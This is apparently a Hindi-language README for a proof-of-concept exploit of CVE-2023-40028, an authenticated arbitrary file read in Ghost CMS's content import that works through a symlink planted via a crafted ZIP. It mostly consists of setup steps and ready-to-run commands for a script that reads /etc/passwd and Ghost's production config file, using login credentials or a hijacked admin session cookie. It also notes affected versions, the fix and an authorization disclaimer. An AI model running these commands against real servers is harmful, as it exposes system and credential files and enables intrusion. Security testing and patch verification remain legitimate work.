
CVE-2023-40028 के लिए POC: Ghost CMS मनमानी फ़ाइल रीड
CVE-2023-40028 के लिए प्रूफ़ ऑफ़ कॉन्सेप्ट, जो Ghost की सामग्री आयात सुविधा में एक प्रमाणित मनमाना फ़ाइल-पठन भेद्यता है। एक तैयार की गई ZIP संग्रह content/images के अंतर्गत एक सिमलिंक बनाती है, जिससे स्क्रिप्ट Ghost होस्ट से एक फ़ाइल का अनुरोध कर सकती है।
Ghost के 5.59.1 से पहले के संस्करण प्रभावित हैं। 5.59.1 या उससे बाद के संस्करण में अपग्रेड करें।
इसका उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आप अधिकृत हैं।
requestsghost-admin-api-session कुकीpython3 -m venv .venv
source .venv/bin/activate
python -m pip install requests
उपयोगकर्ता नाम और पासवर्ड के साथ एक फ़ाइल पढ़ें:
python3 ghost_fileread.py \
--url https://ghost.example \
--username [email protected] \
--password 'password' \
--file /etc/passwd
मौजूदा प्रशासक सत्र कुकी का उपयोग करें:
python3 ghost_fileread.py \
--url https://ghost.example \
--cookie 'session-cookie-value' \
--file /var/lib/ghost/config.production.json
इंटरैक्टिव file> प्रॉम्प्ट खोलने के लिए --file छोड़ दें। प्रॉक्सी, टाइमआउट, और User-Agent विकल्पों के लिए python3 ghost_fileread.py --help चलाएँ।
एंडपॉइंट टेक्स्ट लौटाता है, इसलिए यह टूल टेक्स्ट फ़ाइलों के लिए है। तैयार किए गए संग्रह को आयात करने से लक्ष्य की content/images निर्देशिका में एक सिमलिंक रह जाता है।